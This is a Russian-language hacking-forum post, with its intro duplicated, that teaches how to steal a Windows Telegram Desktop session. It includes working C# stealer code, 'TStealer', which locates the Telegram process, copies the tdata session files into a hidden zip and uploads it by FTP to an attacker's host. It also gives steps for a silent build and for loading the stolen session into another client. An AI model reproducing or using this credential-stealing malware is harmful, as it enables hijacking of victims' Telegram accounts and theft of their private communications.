Воруем Windows сессию Telegram

Воруем Windows сессию Telegram

HackBit-№2

Здравствуйте всем!

Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.

И по этому решил написать свою первую тему на этом форуме.

Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:

  • D877F783D5D3EF8C0 (последняя цифра может быть другой)
  • D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)

Для примера я написал простенькую консольную програмку на C#:

Здравствуйте всем!

Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.

И по этому решил написать свою первую тему на этом форуме.

Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:

  • D877F783D5D3EF8C0 (последняя цифра может быть другой)
  • D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)

Для примера я написал простенькую консольную програмку на C#:


Код:

using System;
using System.IO;
using System.Diagnostics;
using System.IO.Compression;
using System.Net;
using System.Threading;

namespace TStealer
{
    class Program
    {
        private class StealStart
        {
            private bool in_folder = false;


            public StealStart(string host = "", string login = "", string pass = "", bool del_zip = false)
            {
                new Thread(() => StealIt(host, login, pass, del_zip)).Start();
            }


            private void StealIt(string host, string login, string pass, bool del_zip)
            {
                var prcName = "Telegram";
                Process[] processByName = Process.GetProcessesByName(prcName);

                if (processByName.Length < 1)
                    return;

                var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\Tdata";
                var this_fileLocation = System.Reflection.Assembly.GetEntryAssembly().Location;
                var dir_to = Path.GetDirectoryName(this_fileLocation) +
                            "\\Tdata_" +
                            (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds
                            ;
                var zipPath = dir_to + ".zip";


                CopyAll(dir_from, dir_to);
                ZipDir(dir_to, zipPath);
                Directory.Delete(dir_to, true);

                if (host == "")
                    return;
     
                LoadOnFtp(zipPath, host, login, pass);

                if(del_zip)
                    File.Delete(zipPath);
            }


            private void CopyAll(string fromDir, string toDir)
            {
                DirectoryInfo di = Directory.CreateDirectory(toDir);

                di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;

                foreach (string s1 in Directory.GetFiles(fromDir))
                    CopyFile(s1, toDir);

                foreach (string s in Directory.GetDirectories(fromDir))
                    CopyDir(s, toDir);
            }


            private void CopyFile(string s1, string toDir)
            {
                try
                {
                    var fname = Path.GetFileName(s1);

                    if (in_folder && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p'))
                        return;

                    var s2 = toDir + "\\" + fname;

                    File.Copy(s1, s2);
                }
                catch { }
            }


            private void CopyDir(string s, string toDir)
            {
                try
                {
                    in_folder = true;
                    CopyAll(s, toDir + "\\" + Path.GetFileName(s));
                    in_folder = false;
                }
                catch { }
            }


            private void ZipDir(string dir_to, string zipPath)
            {
                try
                {
                    ZipFile.CreateFromDirectory(dir_to, zipPath);
                    File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
                }
                catch { }
            }


            private void LoadOnFtp(string zipPath, string host, string login, string pass)
            {
                try
                {
                    using (WebClient client = new WebClient())
                    {
                        client.Credentials = new NetworkCredential(login, pass);

                        client.UploadFile("ftp://" + host + "/" + Path.GetFileName(zipPath), "STOR", zipPath);
                    }
                }
                catch { }
            }
        }


        static void Main(string[] args)
        {
            //var stealT = new StealStart();

            var host    =   "example.host.com";
            var login   =   "example_login";
            var pass    =   "example_pass";

            var steal_With_FTP = new StealStart(host, login, pass, false);
        }
    }
}

Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)

Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)

Думаю код написан как самокомментируемый. Ну суть вкратце напишу.

Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.

Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP.

new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.

После запуска, рядом с exe будет скрытая zip-ка (или на ftp).

Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.

В итоге должно выйти так:

В tdata:

В D877F783D5D3EF8C:

Дальше запускаем телеграм.ехе, и он сам всё докачает.

Как-то так мы получили сессию от телеги. Всем удачи!